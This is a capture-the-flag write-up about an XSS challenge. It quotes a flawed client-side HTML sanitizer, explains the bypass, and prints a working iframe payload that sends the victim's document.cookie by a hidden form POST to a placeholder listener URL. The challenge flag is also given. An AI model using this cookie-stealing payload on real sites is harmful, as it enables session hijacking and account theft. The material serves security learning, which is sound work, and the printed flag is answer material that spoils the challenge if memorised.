To solve this, I needed to create an HTML page that, when opened by the “admin”, would steal their cookies. So the first thing I did was check the source of the HTML page to see if any sanitization was done when creating the HTML page. The page has a script.js file that contained the following :
```(async () => {    await new Promise((resolve) => {        window.addEventListener('load', resolve);    });
    const content = window.location.hash.substring(1);    display(atob(content));})();
function display(input) {    document.documentElement.innerHTML = clean(input);}
function clean(input) {    const template = document.createElement('template');    const html = document.createElement('html');    template.content.appendChild(html);    html.innerHTML = input;
    sanitize(html);
    const result = html.innerHTML;    return result;}
function sanitize(element) {    const attributes = element.getAttributeNames();    for (let i = 0; i < attributes.length; i++) {        // Let people add images and styles        if (!['src', 'width', 'height', 'alt', 'class'].includes(attributes[i])) {            element.removeAttribute(attributes[i]);        }    }
    const children = element.children;    for (let i = 0; i < children.length; i++) {        if (children[i].nodeName === 'SCRIPT') {            element.removeChild(children[i]);            i --;        } else {            sanitize(children[i]);        }    }}```This told me that they removed all attributes except for `src`, `width`, `height`, `alt` & `class`. Also, it removes the `<script>` tags and everything that’s inside.
I’ve confirmed that I could do XSS by using an `<iframe>` or `<embed>` tag.
This is where I fell down a major rabbit hole… Because of the filtered attributes, I thought that they wanted us to craft an SVG image containing malicious code. Unfortunately, that was not the case. After losing a couple of hours down that rabbit hole, I decided to look for another solution. I’ve thought about another idea : Why not try to send a hidden form that will submit itself when the “admin” clicks the link? So I’ve come up with this code :
```<html>    <head>    </head>    <body> <iframe src="javascript:var f=document.createElement('form');f.action='http://LISTENER_URL_HERE/';f.method='POST';f.target='_blank';var k=document.createElement('input');k.type='hidden';k.name='flag';k.value=document.cookie;f.appendChild(k);document.body.appendChild(f);f.submit();console.log('Cookie stolen!');"></iframe>
    </body></html>```This main caveat here was the use of `target='_blank'`. If you don’t open in a new tab, you would get the iframe cookies (no cookie was returned). So finally, submitting this code to the admin page stole the cookie containing the flag and sent it to my listener.
I’m pretty happy with this solve, even though I went down a time-losing rabbit hole. That SVG stuff was actually useful in another CTF we did later on.
*flag{wh0n33d5d0mpur1fy}*